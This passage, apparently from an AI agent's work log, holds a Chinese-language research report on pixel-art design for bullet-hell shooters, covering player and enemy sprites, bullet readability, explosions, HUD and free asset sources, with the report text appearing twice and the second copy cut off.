Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。"}, "ts": 1787459536996}, {"type": "progress", "id": "call_d50cb731e612477f9e864c00", "tool": "write_file", "status": "completed", "args": {"file_path": "research/pixel_art_style/pixel_art_research.md", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| 